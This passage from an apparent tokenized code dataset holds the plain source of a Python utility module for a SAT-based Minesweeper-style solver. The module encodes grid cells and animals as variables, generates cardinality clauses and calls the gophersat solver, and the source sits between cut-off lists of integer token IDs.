29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29884,
15945,
29908,
29872,
1397,
424,
24094,
13812,
29889,
13,
13,
29901,
8552,
1266,
29901,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29945,
4957,
423,
6295,
615,
365,
12182,
29889,
29871,
2178,
26863,
2538,
9841,
29889,
13,
29901,
506,
1947,
29901,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
29889,
1420,
13,
15945,
29908,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
29892,
8542,
29892,
1596,
29918,
2220,
13,
13,
5215,
337,
13,
13,
3166,
269,
533,
1129,
1053,
17402,
29918,
2585,
13,
3166,
269,
533,
1129,
29889,
6886,
1053,
19232,
29918,
6519,
29918,
16680,
13,
3166,
269,
533,
1129,
29889,
6886,
1053,
19232,
29918,
9435,
13,
3166,
269,
533,
1129,
29889,
6886,
1053,
19232,
29918,
29880,
19704,
29918,
326,
18505,
13,
13,
29918,
29903,
3210,
26862,
353,
17402,
29918,
2585,
29889,
657,
29918,
11010,
877,
29872,
1397,
424,
1495,
13,
13,
1753,
903,
2344,
29918,
8768,
7295,
13,
1678,
620,
353,
6571,
13,
1678,
363,
1024,
297,
903,
29903,
3210,
26862,
1839,
4299,
2033,
29901,
13,
4706,
565,
1024,
29889,
27382,
2541,
877,
6519,
29918,
29374,
13,
9651,
1024,
353,
337,
29889,
1491,
29898,
29878,
29915,
29985,
6519,
29918,
742,
15516,
1024,
29897,
13,
9651,
620,
29961,
978,
29962,
353,
5852,
13,
1678,
736,
620,
13,
13,
13,
29918,
29923,
1307,
29954,
13566,
29918,
15631,
29925,
2890,
353,
903,
2344,
29918,
8768,
580,
13,
13,
13,
1753,
1053,
29918,
1445,
29898,
726,
1125,
13,
1678,
8260,
353,
19232,
29918,
6519,
29918,
16680,
29889,
5510,
29918,
1445,
29898,
726,
29897,
13,
1678,
565,
451,
7431,
29898,
26381,
1125,
13,
4706,
12020,
10663,
2392,
877,
1217,
8260,
1476,
297,
934,
1495,
13,
1678,
903,
27902,
29918,
29880,
19704,
29918,
978,
29898,
26381,
29897,
13,
1678,
396,
13649,
8260,
29892,
12725,
1819,
322,
731,
21274,
515,
10938,
13,
1678,
363,
9920,
297,
8260,
29901,
13,
4706,
9920,
29918,
1853,
353,
9920,
1839,
29918,
1853,
2033,
13,
4706,
565,
451,
9920,
29918,
1853,
297,
903,
29923,
1307,
29954,
13566,
29918,
15631,
29925,
2890,
29901,
13,
9651,
12020,
10663,
2392,
877,
26690,
1899,
29901,
6571,
4286,
4830,
29898,
9006,
29918,
1853,
876,
13,
4706,
19232,
29918,
29880,
19704,
29918,
326,
18505,
29889,
15480,
29918,
9621,
29898,
9006,
29892,
24335,
426,
1800,
13,
1678,
848,
353,
17402,
29918,
2585,
29889,
4381,
29918,
1272,
29898,
29872,
1397,
424,
29918,
9435,
29889,
5425,
29924,
29918,
11116,
29897,
13,
1678,
396,
4986,
3970,
29898,
29886,
21231,
29897,
3513,
4225,
304,
731,
14928,
29892,
14928,
4435,
29892,
14928,
2283,
1819,
515,
8260,
13,
1678,
848,
1839,
9794,
16215,
26381,
2033,
353,
8260,
13,
1678,
736,
848,
13,
13,
13,
1753,
903,
27902,
29918,
29880,
19704,
29918,
978,
29898,
26381,
1125,
13,
1678,
363,
9920,
297,
8260,
29901,
13,
4706,
565,
9920,
1839,
29918,
1853,
2033,
1275,
525,
3389,
29918,
14669,
29915,
322,
525,
29880,
19704,
29915,
297,
9920,
29901,
13,
9651,
736,
9920,
1839,
29880,
19704,
2033,
13,
1678,
12020,
10663,
2392,
877,
27259,
1065,
29918,
14669,
24094,
1746,
1495,
13,
2
] |
utils.py | baptisteviera/Original_Minesweeper_SAT_Solver | 0 | 1604746 | <reponame>baptisteviera/Original_Minesweeper_SAT_Solver
from typing import List, Tuple, TypedDict
import subprocess
import itertools
# alias de types
Variable = int
Clause = List[Variable]
Model = List[Variable]
ClausesBase = List[Clause]
Grid = List[List[dict]]
# server data
TStatus = str # "OK"|"KO"|"Err"|"GG"
TMsg = str
class TInfo(TypedDict):
pos: Tuple[int, int] # (i, j) i < M, j < N
field: str # "sea"|"land"
prox_count: Tuple[int, int, int] # (tiger_count, shark_count, croco_count), optional
TInfos = List[TInfo]
TGridInfos = {
"m": int,
"n": int,
"start": Tuple[int, int],
"tiger_count": int,
"shark_count": int,
"croco_count": int,
"sea_count": int,
"land_count": int,
"3BV": int,
"infos": TInfos # Optional
}
# Consts
LIST_ANIMALS = ["T", "S", "C", ""]
def unique_parametrable(variables: List[Variable], nb: int) -> ClausesBase:
"""
Permet de générer des clauses qui garantissent la contrainte de type unique (uniquement nb parmi vars)
:param variables: liste de variables
:param nb:
:return: liste de clauses
"""
list_combination = []
# at_least (au moins 1 élément vrai)
for t in list(itertools.combinations(variables, len(variables) - nb + 1)):
list_combination.append([t[i] for i in range(len(variables) - nb + 1)])
# at_most (au moins 1 élément faux)
for t in list(itertools.combinations(variables, nb + 1)):
list_combination.append([-t[i] for i in range(nb + 1)])
return list_combination
def atmost_parametrable(variables: List[Variable], nb: int) -> List[List[int]]:
"""
Permet de générer des clauses qui garantissent la contrainte de type "au plus nb parmi vars"
:param variables: liste de variables
:param nb:
:return: liste de clauses
"""
list_combination = []
for t in list(itertools.combinations(variables, nb + 1)):
list_combination.append([-t[i] for i in range(nb + 1)]) # on convertit en liste important
return list_combination
def clauses_to_dimacs(clauses: ClausesBase, nb_vars: int) -> str:
"""
Permet de convertir une liste de clauses en chaîne de caractères sous format Dimacs
:param clauses: liste de clauses
:param nb_vars: nombre de varibales
:return: chaine de caractères
"""
dimacs_format = "p cnf %d %d\n" % (nb_vars, len(clauses))
for listes in clauses:
for j in listes:
dimacs_format += str(j) + " "
dimacs_format += "0\n"
return dimacs_format
def write_dimacs_file(dimacs: str, filename: str):
"""
Permet d'écrire dans une fichier
:param dimacs: chaine de caractère à écrire
:param filename: nom du fichier
:return:
"""
with open(filename, "w", newline="") as cnf:
cnf.write(dimacs)
def exec_gophersat(filename: str, cmd: str = "./gophersat-1.1.6", encoding: str = "utf8") -> Tuple[bool, List[int]]:
"""
Permet de lancer le solveur sat.
Auteur : <NAME>
:param filename:
:param cmd:
:param encoding:
:return:
"""
result = subprocess.run(
[cmd, filename], capture_output=True, check=True, encoding=encoding
)
string = str(result.stdout)
lines = string.splitlines()
if lines[1] != "s SATISFIABLE":
return False, []
model = lines[2][2:].split(" ")
return True, [int(x) for x in model]
# Nombre total de variables : 4*m*n variables
def cell_type_env_to_variable(row: int, col: int, width: int, height: int) -> Variable:
"""
Transforme le type d'environnement d'une cellule en variable
:param row:
:param col:
:param width:
:param height:
:return:
1 à width * height -> le type de terrain
"""
offset = row * width + col
type_env = 1 + offset
return type_env
def cell_type_ani_to_variable(row: int, col: int, width: int, height: int, animal: str) -> int:
"""
Transforme le type d'animal d'une cellule en variable
:param row: numéro de ligne de la cellule sélectionnée
:param col: numéro de la colonne de la cellule sélectionnée
:param width: largeur de la carte/grille
:param height: hauteur de la carte/grille
:param animal: type d'animal
:return: variable correspondant
1 à width * height -> le type de terrain
width*height + 1 à 2 * width*height -> tigre
2 * width*height + 1 à 3 * width*height -> requin
3 * width*height + 1 à 4 * width*height -> croco
"""
offset = row * width + col
type_ani = None
if animal == "T":
type_ani = width * height + 1 + offset
if animal == "S":
type_ani = 2 * width * height + 1 + offset
if animal == "C":
type_ani = 3 * width * height + 1 + offset
return type_ani
def variable_to_text(var: int, w: int, h: int) -> (int, int, str):
"""
conversion de la variable numérique en chaine de caractères
:param var: variable numérique associée à une cellule
:param w: largeur de la carte/grille
:param h: hauteur de la carte/grille
:return: un tuple (triple) avec les cordonnées de la cellule et le type de terrain ou d'animal
"""
v = var
if v < 0:
v = -v
# Permet de retourner le type d'environnement de la cellule
if (1 <= v) and (v <= w * h):
offset = v - 1
row = offset // w
col = offset - w * row
if var > 0:
return row, col, "not sea"
else:
return row, col, "sea"
# Permet de retourner le type d'animal dans la cellule
# Présence de tigres ou non
if (w * h + 1 <= v) and (v <= 2 * w * h):
offset = v - (w * h + 1)
row = offset // w
col = offset - w * row
if var > 0:
return row, col, "T"
else:
return row, col, "not T"
# Présence de requins ou non
if (2 * w * h + 1 <= v) and (v <= 3 * w * h):
offset = v - (2 * w * h + 1)
row = offset // w
col = offset - w * row
if var > 0:
return row, col, "S"
else:
return row, col, "not S"
# Présence de crocodile ou non
if (3 * w * h + 1 <= v) and (v <= 4 * w * h):
offset = v - (3 * w * h + 1)
row = offset // w
col = offset - w * row
if var > 0:
return row, col, "C"
else:
return row, col, "not C"
def mark_env(r: int, c: int, w: int, h: int, type_env: str) -> Clause:
"""
Permet de marquer une cellule avec son type d'environnement en faisant appel à la fonction cell_type_env_to_variable
La valeur obtenue est mise dans une liste afin de faciliter par la suite la transformation de nos clauses en dimacs
:param r: numéro de ligne de la cellule sélectionnée
:param c: numéro de la colonne de la cellule sélectionnée
:param w: largeur de la grille
:param h: hauteur de la grille
:param type_env: chaine de caractères correspondant au type d'environnement
:return: une variable numérique associée à la cellule qui est contenue dans une liste à 1 seul élément. Si le type \
d'environnement n'est pas de la terre, nous ajoutons un "-" pour faire la négation
"""
type_env_var = cell_type_env_to_variable(r, c, w, h)
if type_env == "land":
return [type_env_var]
else:
return [-type_env_var]
def mark_animal(r: int, c: int, w: int, h: int, type_ani: str) -> Clause:
"""
Permet de marquer une cellule avec son type d'animal en faisant appel à la fonction cell_type_ani_to_variable
La valeur obtenue est mise dans une liste afin de faciliter par la suite la transformation de nos clauses en
dimacs
:param r: numéro de ligne de la cellule sélectionnée
:param c: numéro de la colonne de la cellule sélectionnée
:param w: largeur de la grille
:param h: hauteur de la grille
:param type_ani: chaine de caractères correspondant au type d'animal
:return: une variable numérique associée à la cellule qui est contenue dans une liste à 1 seul élément. S'il n'y
a pas d'animaux, retourne une liste vide.
"""
type_ani_var = cell_type_ani_to_variable(r, c, w, h, type_ani)
if type_ani_var is not None:
return [type_ani_var]
else:
return []
def mark_nb_animals_neighbors(neighbors: List[List[int]], w: int, h: int, nb_animals: int, animal_type: str) \
-> ClausesBase:
"""
Permet d'ajouter des contraintes concernant le nombre d'animaux autour d'une cellule
:param neighbors: Liste des cordonnées des cellules voisines
:param w: largeur de la grille
:param h: hauteur de la grille
:param nb_animals: nombre d'animaux d'un type donné parmi la liste de cellules voisines
:param animal_type: type de l'animal
:return:
"""
neighbors_variables = []
# on transforme les cordonnées des cellules voisines en variable paramétrée avec un type d'animal spécifique.
# on place l'ensemble des variables dans une liste neighbors_variables
for neighbor in neighbors:
neighbors_variables.append(cell_type_ani_to_variable(neighbor[0], neighbor[1], w, h, animal_type))
# on applique la fonction unique_parametrable afin d'avoir une liste de clauses respectant la contrainte nb_animals
# parmi neighbors_variables
return unique_parametrable(neighbors_variables, nb_animals)
def is_valid(x: int, y: int, w: int, h: int) -> bool:
"""
Vérifie si les cordonnées (x,y) sont des cordonnées valides
:param x: numéro de la ligne de la cellule sélectionnée
:param y: numéro de la colonne de la cellule sélectionnée
:param w: largeur de la grille
:param h: hauteur de la grille
:return: un booleen : vrai si c'est valide
"""
return (x >= 0) and (x < h) and (y >= 0) and (y < w)
def get_neighbors(x: int, y: int, w: int, h: int) -> List[List[int]]:
"""
2 1 8
3 X 7
4 5 6
Permet de parcourir les voisins de la cellule sélectionnée dans l'ordre ci-dessus.
Ajoute dans une liste les voisins de la cellule s'ils existent (condition vérifiée avec la fonction is_valide)
:param x: numéro de la ligne de la cellule sélectionnée
:param y: numéro de la colonne de la cellule sélectionnée
:param w: largeur de la grille
:param h: hauteur de la grille
:return: une liste qui contient sous forme de liste à deux éléments les cordonnées des voisins de la cellule
sélectionnée
"""
# Coordonnées relatives des voisins
dx = [-1, -1, 0, 1, 1, 1, 0, -1]
dy = [0, -1, -1, -1, 0, 1, 1, 1]
neighbors = []
for k in range(len(dx)):
# Verifier si la cellule n'est pas en dehors de la carte
if is_valid(x + dx[k], y + dy[k], w, h):
# Ajouter dans la liste des résultats
neighbors += [[x + dx[k], y + dy[k]]]
return neighbors
def get_relevant_cells(w: int, h: int, grid: Grid) -> List[List[int]]:
"""
Permet de minimiser le nombre de cellules retenues, à analyser
:param w: largeur de la grille
:param h: hauteur de la grille
:param grid: la grille / la carte
:return: la liste des coordonnées des cellules voisines des cellules découvertes
"""
res = []
for r in range(h):
for c in range(w):
# si la cellule a ete ouverte
if grid[r][c]["prox_count"] != [-1, -1, -1]:
neighbors = get_neighbors(r, c, w, h)
for n in neighbors:
if (grid[n[0]][n[1]]["ani"] == "?") and (grid[n[0]][n[1]]["prox_count"] == [-1, -1, -1]) and (
n not in res):
res += [n]
return res
def is_compatible(animal: str, env: str) -> bool:
"""
Vérifie la compatibilité entre le type d'animal et le type d'environnement
:param animal:
:param env:
:return:
"""
if animal == "T":
return env == "land"
if animal == "S":
return env == "sea"
return True
def is_safe(r: int, c: int, w: int, h: int, clauses: ClausesBase) -> bool:
"""
Vérifie par l'absurde si une cellule est safe
:param r: numéro de la ligne de la cellule sélectionnée
:param c: numéro de la colonne de la cellule sélectionnée
:param w: largeur de la grille
:param h: hauteur de la grille
:param clauses: liste de clauses
:return: True (safe) si le modèle n'est pas satisfiable (raisonnement par l'absurde) et False sinon
"""
# On suppose que la cellule n'est pas safe => on ajoute la clause suivante : T ou S ou C
# Raisonnement par l'absurde
clauses += [[cell_type_ani_to_variable(r, c, w, h, "T"),
cell_type_ani_to_variable(r, c, w, h, "S"),
cell_type_ani_to_variable(r, c, w, h, "C")]]
dimacs = clauses_to_dimacs(clauses, 4 * w * h)
write_dimacs_file(dimacs, "crocomine.cnf")
sat, model = exec_gophersat(filename="crocomine.cnf")
# print("Check safe", r, c, sat)
clauses.pop() # on supprime la dernière clause ajoutée (clause pour vérification uniquement)
return not sat
def sure_has_animal(r: int, c: int, w: int, h: int, animal: str, clauses: ClausesBase) -> bool:
"""
Vérifie par l'absurde sur une cellule a un animal
:param r: numéro de la ligne de la cellule sélectionnée
:param c: numéro de la colonne de la cellule sélectionnée
:param w: largeur de la grille
:param h: hauteur de la grille
:param animal: caractère désignant un animal : T ou S ou C
:param clauses: liste de clauses
:return: True (has animal) si le modèle n'est pas satisfiable (raisonnement par l'absurde) et False sinon
"""
# On suppose qu'il n'y a pas d'animal
# Clause de test : pas d'animal
clauses += [[-cell_type_ani_to_variable(r, c, w, h, animal)]]
dimacs = clauses_to_dimacs(clauses, 4 * w * h)
write_dimacs_file(dimacs, "crocomine.cnf")
sat, model = exec_gophersat(filename="crocomine.cnf")
# print("Check safe", r, c, sat)
clauses.pop() # on supprime la dernière clause ajoutée (clause pour vérification uniquement)
return not sat
def is_satisfied(r: int, c: int, w: int, h: int, grid: Grid) -> bool:
"""
On vérifie si le nombre d'animal pour chaque type autour de la cellule(r,c) a bien été trouvé
:param r: numéro de la ligne de la cellule sélectionnée
:param c: numéro de la colonne de la cellule sélectionnée
:param w: largeur de la grille
:param h: hauteur de la grille
:param grid: la carte (tableau 2D de dictionnaire)
:return: True si le nombre de chaque type d'animal de la cellule (r,c) correspond au prox_count de la cellule et si
le nombre de cellules ouvertes est strictement supérieur à 0
"""
neighbors = get_neighbors(r, c, w, h)
counter = {"T": 0, "S": 0, "C": 0}
openned_cell = 0
for n in neighbors:
if grid[n[0]][n[1]]["ani"] != "?":
counter[grid[n[0]][n[1]]["ani"]] += 1
if (grid[n[0]][n[1]]["prox_count"] == [-1, -1, -1]) and (grid[n[0]][n[1]]["ani"] == "?"):
openned_cell += 1
return (openned_cell > 0) and \
(grid[r][c]["prox_count"][0] == counter["T"]) and \
(grid[r][c]["prox_count"][1] == counter["S"]) and \
(grid[r][c]["prox_count"][2] == counter["C"])
def update_info(w: int, h: int, grid: Grid, clauses: ClausesBase, infos: List[dict]):
"""
Permet de mettre à jour notre base de clauses en fonction des différentes "découvertes"
:param w: largeur de la grille
:param h: hauteur de la grille
:param grid: la carte
:param clauses: liste de clauses
:param infos: liste d'info
:return: une nouvelle base de clauses
"""
for info in infos:
x = info["pos"][0]
y = info["pos"][1]
if "field" in info:
grid[x][y]["env"] = info["field"]
clauses += [mark_env(x, y, w, h, info["field"])]
if "prox_count" in info:
neighbors = get_neighbors(x, y, w, h)
grid[x][y]["prox_count"] = info["prox_count"]
for animal_id in range(len(LIST_ANIMALS) - 1):
clauses += mark_nb_animals_neighbors(neighbors, w, h, grid[x][y]["prox_count"][animal_id],
LIST_ANIMALS[animal_id])
if "animal" in info:
grid[x][y]["ani"] = info["animal"]
clauses += [mark_animal(x, y, w, h, grid[x][y]["ani"])]
def choose_best_action_id(list_dict: List[dict], cle: str, value: str) -> int:
"""
Cette fonction est obsolete. Elle est utilisé pour trouver l'action associée à une cellule qui a le plus de
probabilité de ne pas conduire à la défaite
:param list_dict: liste des actions
:param cle:
:param value:
:return:
"""
best = 0
for i in range(len(list_dict)):
if (list_dict[i]["probability"] >= list_dict[best]["probability"]) and (list_dict[i][cle] == value):
return i
return 0
def check_status(win: bool, lose: bool, status: str) -> (bool, bool):
"""
Permet de vérifier le status
:param win: gagné (variable booléenne)
:param lose: perdu (variable booléenne)
:param status: message informatif concernant l'action passée
:return:
"""
if status == "GG":
win = True
if status == "KO":
win = False
lose = True
if status == "Err":
win = False
lose = True
return win, lose
| [
1,
529,
276,
1112,
420,
29958,
29890,
2156,
2488,
7214,
29874,
29914,
26036,
29918,
29924,
1475,
705,
11356,
29918,
29903,
1299,
29918,
13296,
369,
13,
3166,
19229,
1053,
2391,
29892,
12603,
552,
29892,
14213,
287,
21533,
13,
5215,
1014,
5014,
13,
5215,
4256,
8504,
13,
13,
29937,
13995,
316,
4072,
13,
16174,
353,
938,
13,
20216,
1509,
353,
2391,
29961,
16174,
29962,
13,
3195,
353,
2391,
29961,
16174,
29962,
13,
20216,
6394,
5160,
353,
2391,
29961,
20216,
1509,
29962,
13,
5756,
353,
2391,
29961,
1293,
29961,
8977,
5262,
13,
29937,
1923,
848,
13,
13,
29911,
5709,
353,
851,
29871,
396,
376,
8949,
29908,
29989,
29908,
29968,
29949,
29908,
29989,
29908,
19212,
29908,
29989,
29908,
26788,
29908,
13,
29911,
16190,
353,
851,
13,
13,
13,
1990,
323,
3401,
29898,
24933,
287,
21533,
1125,
13,
1678,
926,
29901,
12603,
552,
29961,
524,
29892,
938,
29962,
29871,
396,
313,
29875,
29892,
432,
29897,
474,
529,
341,
29892,
432,
529,
405,
13,
1678,
1746,
29901,
851,
29871,
396,
376,
344,
29874,
29908,
29989,
29908,
1049,
29908,
13,
1678,
410,
29916,
29918,
2798,
29901,
12603,
552,
29961,
524,
29892,
938,
29892,
938,
29962,
29871,
396,
313,
29873,
4087,
29918,
2798,
29892,
528,
935,
29918,
2798,
29892,
8182,
1111,
29918,
2798,
511,
13136,
13,
13,
13,
29911,
25433,
359,
353,
2391,
29961,
29911,
3401,
29962,
13,
29911,
5756,
25433,
359,
353,
426,
13,
1678,
376,
29885,
1115,
938,
29892,
13,
1678,
376,
29876,
1115,
938,
29892,
13,
1678,
376,
2962,
1115,
12603,
552,
29961,
524,
29892,
938,
1402,
13,
1678,
376,
29873,
4087,
29918,
2798,
1115,
938,
29892,
13,
1678,
376,
845,
935,
29918,
2798,
1115,
938,
29892,
13,
1678,
376,
24077,
1111,
29918,
2798,
1115,
938,
29892,
13,
1678,
376,
344,
29874,
29918,
2798,
1115,
938,
29892,
13,
1678,
376,
1049,
29918,
2798,
1115,
938,
29892,
13,
1678,
376,
29941,
29933,
29963,
1115,
938,
29892,
13,
1678,
376,
7192,
359,
1115,
323,
25433,
359,
29871,
396,
28379,
13,
29913,
13,
13,
29937,
5798,
29879,
13,
24360,
29918,
2190,
2260,
8547,
353,
6796,
29911,
613,
376,
29903,
613,
376,
29907,
613,
376,
3108,
13,
13,
13,
1753,
5412,
29918,
3207,
300,
18104,
29898,
20897,
29901,
2391,
29961,
16174,
1402,
302,
29890,
29901,
938,
29897,
1599,
6015,
6394,
5160,
29901,
13,
1678,
9995,
13,
1678,
20894,
300,
316,
6094,
29539,
553,
3711,
6394,
1750,
27510,
19047,
425,
640,
6038,
371,
316,
1134,
5412,
313,
3909,
339,
882,
302,
29890,
25763,
24987,
29897,
13,
1678,
584,
3207,
3651,
29901,
13773,
316,
3651,
13,
1678,
584,
3207,
302,
29890,
29901,
13,
1678,
584,
2457,
29901,
13773,
316,
3711,
6394,
13,
1678,
9995,
13,
1678,
1051,
29918,
510,
2109,
362,
353,
5159,
13,
13,
1678,
396,
472,
29918,
280,
579,
313,
585,
11387,
29871,
29896,
7877,
15471,
325,
17016,
29897,
13,
1678,
363,
260,
297,
1051,
29898,
1524,
8504,
29889,
510,
2109,
800,
29898,
20897,
29892,
7431,
29898,
20897,
29897,
448,
302,
29890,
718,
29871,
29896,
22164,
13,
4706,
1051,
29918,
510,
2109,
362,
29889,
4397,
4197,
29873,
29961,
29875,
29962,
363,
474,
297,
3464,
29898,
2435,
29898,
20897,
29897,
448,
302,
29890,
718,
29871,
29896,
29897,
2314,
13,
1678,
396,
472,
29918,
3242,
313,
585,
11387,
29871,
29896,
7877,
15471,
285,
2993,
29897,
13,
1678,
363,
260,
297,
1051,
29898,
1524,
8504,
29889,
510,
2109,
800,
29898,
20897,
29892,
302,
29890,
718,
29871,
29896,
22164,
13,
4706,
1051,
29918,
510,
2109,
362,
29889,
4397,
4197,
29899,
29873,
29961,
29875,
29962,
363,
474,
297,
3464,
29898,
9877,
718,
29871,
29896,
29897,
2314,
13,
1678,
736,
1051,
29918,
510,
2109,
362,
13,
13,
13,
1753,
472,
3242,
29918,
3207,
300,
18104,
29898,
20897,
29901,
2391,
29961,
16174,
1402,
302,
29890,
29901,
938,
29897,
1599,
2391,
29961,
1293,
29961,
524,
5262,
29901,
13,
1678,
9995,
13,
1678,
20894,
300,
316,
6094,
29539,
553,
3711,
6394,
1750,
27510,
19047,
425,
640,
6038,
371,
316,
1134,
376,
585,
2298,
302,
29890,
25763,
24987,
29908,
13,
1678,
584,
3207,
3651,
29901,
13773,
316,
3651,
13,
1678,
584,
3207,
302,
29890,
29901,
13,
1678,
584,
2457,
29901,
13773,
316,
3711,
6394,
13,
1678,
9995,
13,
1678,
1051,
29918,
510,
2109,
362,
353,
5159,
13,
1678,
363,
260,
297,
1051,
29898,
1524,
8504,
29889,
510,
2109,
800,
29898,
20897,
29892,
302,
29890,
718,
29871,
29896,
22164,
13,
4706,
1051,
29918,
510,
2109,
362,
29889,
4397,
4197,
29899,
29873,
29961,
29875,
29962,
363,
474,
297,
3464,
29898,
9877,
718,
29871,
29896,
29897,
2314,
29871,
396,
373,
3588,
277,
427,
13773,
4100,
13,
1678,
736,
1051,
29918,
510,
2109,
362,
13,
13,
13,
1753,
3711,
6394,
29918,
517,
29918,
6229,
16815,
29898,
16398,
6394,
29901,
6015,
6394,
5160,
29892,
302,
29890,
29918,
16908,
29901,
938,
29897,
1599,
851,
29901,
13,
1678,
9995,
13,
1678,
20894,
300,
316,
3588,
381,
1597,
13773,
316,
3711,
6394,
427,
10329,
28123,
316,
1559,
627,
5908,
5898,
3402,
4792,
16815,
13,
1678,
584,
3207,
3711,
6394,
29901,
13773,
316,
3711,
6394,
13,
1678,
584,
3207,
302,
29890,
29918,
16908,
29901,
5419,
316,
722,
747,
2122,
13,
1678,
584,
2457,
29901,
521,
9874,
316,
1559,
627,
5908,
13,
1678,
9995,
13,
1678,
3964,
16815,
29918,
4830,
353,
376,
29886,
274,
29876,
29888,
1273,
29881,
1273,
29881,
29905,
29876,
29908,
1273,
313,
9877,
29918,
16908,
29892,
7431,
29898,
16398,
6394,
876,
13,
1678,
363,
1051,
267,
297,
3711,
6394,
29901,
13,
4706,
363,
432,
297,
1051,
267,
29901,
13,
9651,
3964,
16815,
29918,
4830,
4619,
851,
29898,
29926,
29897,
718,
376,
376,
13,
13,
4706,
3964,
16815,
29918,
4830,
4619,
376,
29900,
29905,
29876,
29908,
13,
1678,
736,
3964,
16815,
29918,
4830,
13,
13,
13,
1753,
2436,
29918,
6229,
16815,
29918,
1445,
29898,
6229,
16815,
29901,
851,
29892,
10422,
29901,
851,
1125,
13,
1678,
9995,
13,
1678,
20894,
300,
270,
29915,
29948,
699,
276,
1465,
1597,
285,
436,
631,
13,
1678,
584,
3207,
3964,
16815,
29901,
521,
9874,
316,
1559,
627,
1908,
818,
904,
699,
276,
13,
1678,
584,
3207,
10422,
29901,
2245,
868,
285,
436,
631,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
411,
1722,
29898,
9507,
29892,
376,
29893,
613,
25899,
543,
1159,
408,
274,
29876,
29888,
29901,
13,
4706,
274,
29876,
29888,
29889,
3539,
29898,
6229,
16815,
29897,
13,
13,
13,
1753,
2279,
29918,
29887,
3021,
414,
271,
29898,
9507,
29901,
851,
29892,
9920,
29901,
851,
353,
376,
6904,
29887,
3021,
414,
271,
29899,
29896,
29889,
29896,
29889,
29953,
613,
8025,
29901,
851,
353,
376,
9420,
29947,
1159,
1599,
12603,
552,
29961,
11227,
29892,
2391,
29961,
524,
5262,
29901,
13,
1678,
9995,
13,
268,
20894,
300,
316,
10906,
2265,
454,
4505,
332,
3290,
29889,
13,
268,
319,
19072,
584,
529,
5813,
29958,
13,
1678,
584,
3207,
10422,
29901,
13,
1678,
584,
3207,
9920,
29901,
13,
1678,
584,
3207,
8025,
29901,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
1121,
353,
1014,
5014,
29889,
3389,
29898,
13,
4706,
518,
9006,
29892,
10422,
1402,
10446,
29918,
4905,
29922,
5574,
29892,
1423,
29922,
5574,
29892,
8025,
29922,
22331,
13,
1678,
1723,
13,
1678,
1347,
353,
851,
29898,
2914,
29889,
25393,
29897,
13,
1678,
3454,
353,
1347,
29889,
5451,
9012,
580,
13,
13,
1678,
565,
3454,
29961,
29896,
29962,
2804,
376,
29879,
317,
1299,
3235,
3738,
6181,
1115,
13,
4706,
736,
7700,
29892,
5159,
13,
13,
1678,
1904,
353,
3454,
29961,
29906,
3816,
29906,
29901,
1822,
5451,
703,
16521,
13,
13,
1678,
736,
5852,
29892,
518,
524,
29898,
29916,
29897,
363,
921,
297,
1904,
29962,
13,
13,
13,
29937,
20583,
1030,
3001,
316,
3651,
584,
29871,
29946,
29930,
29885,
29930,
29876,
3651,
13,
1753,
3038,
29918,
1853,
29918,
6272,
29918,
517,
29918,
11918,
29898,
798,
29901,
938,
29892,
784,
29901,
938,
29892,
2920,
29901,
938,
29892,
3171,
29901,
938,
29897,
1599,
28736,
29901,
13,
1678,
9995,
13,
1678,
4103,
689,
29872,
454,
1134,
270,
29915,
21813,
17239,
270,
29915,
1540,
3038,
1297,
427,
2286,
13,
1678,
584,
3207,
1948,
29901,
13,
1678,
584,
3207,
784,
29901,
13,
1678,
584,
3207,
2920,
29901,
13,
1678,
584,
3207,
3171,
29901,
13,
1678,
584,
2457,
29901,
13,
268,
29896,
818,
2920,
334,
3171,
1599,
454,
1134,
316,
28439,
13,
1678,
9995,
13,
1678,
9210,
353,
1948,
334,
2920,
718,
784,
13,
1678,
1134,
29918,
6272,
353,
29871,
29896,
718,
9210,
13,
13,
1678,
736,
1134,
29918,
6272,
13,
13,
13,
1753,
3038,
29918,
1853,
29918,
3270,
29918,
517,
29918,
11918,
29898,
798,
29901,
938,
29892,
784,
29901,
938,
29892,
2920,
29901,
938,
29892,
3171,
29901,
938,
29892,
13019,
29901,
851,
29897,
1599,
938,
29901,
13,
1678,
9995,
13,
1678,
4103,
689,
29872,
454,
1134,
270,
29915,
273,
3039,
270,
29915,
1540,
3038,
1297,
427,
2286,
13,
13,
1678,
584,
3207,
1948,
29901,
954,
10651,
316,
7330,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
784,
29901,
954,
10651,
316,
425,
784,
7293,
316,
425,
3038,
1297,
7019,
1464,
24697,
13,
1678,
584,
3207,
2920,
29901,
2919,
332,
316,
425,
20206,
29914,
629,
1924,
13,
1678,
584,
3207,
3171,
29901,
447,
19072,
316,
425,
20206,
29914,
629,
1924,
13,
1678,
584,
3207,
13019,
29901,
1134,
270,
29915,
273,
3039,
13,
1678,
584,
2457,
29901,
2286,
3928,
424,
13,
268,
29896,
818,
2920,
334,
3171,
1599,
454,
1134,
316,
28439,
13,
1678,
2920,
29930,
3545,
718,
29871,
29896,
818,
29871,
29906,
334,
2920,
29930,
3545,
1599,
260,
335,
276,
13,
268,
29906,
334,
2920,
29930,
3545,
718,
29871,
29896,
818,
29871,
29941,
334,
2920,
29930,
3545,
1599,
5054,
262,
13,
268,
29941,
334,
2920,
29930,
3545,
718,
29871,
29896,
818,
29871,
29946,
334,
2920,
29930,
3545,
1599,
8182,
1111,
13,
1678,
9995,
13,
1678,
9210,
353,
1948,
334,
2920,
718,
784,
13,
1678,
1134,
29918,
3270,
353,
6213,
13,
1678,
565,
13019,
1275,
376,
29911,
1115,
13,
4706,
1134,
29918,
3270,
353,
2920,
334,
3171,
718,
29871,
29896,
718,
9210,
13,
1678,
565,
13019,
1275,
376,
29903,
1115,
13,
4706,
1134,
29918,
3270,
353,
29871,
29906,
334,
2920,
334,
3171,
718,
29871,
29896,
718,
9210,
13,
1678,
565,
13019,
1275,
376,
29907,
1115,
13,
4706,
1134,
29918,
3270,
353,
29871,
29941,
334,
2920,
334,
3171,
718,
29871,
29896,
718,
9210,
13,
13,
1678,
736,
1134,
29918,
3270,
13,
13,
13,
1753,
2286,
29918,
517,
29918,
726,
29898,
1707,
29901,
938,
29892,
281,
29901,
938,
29892,
298,
29901,
938,
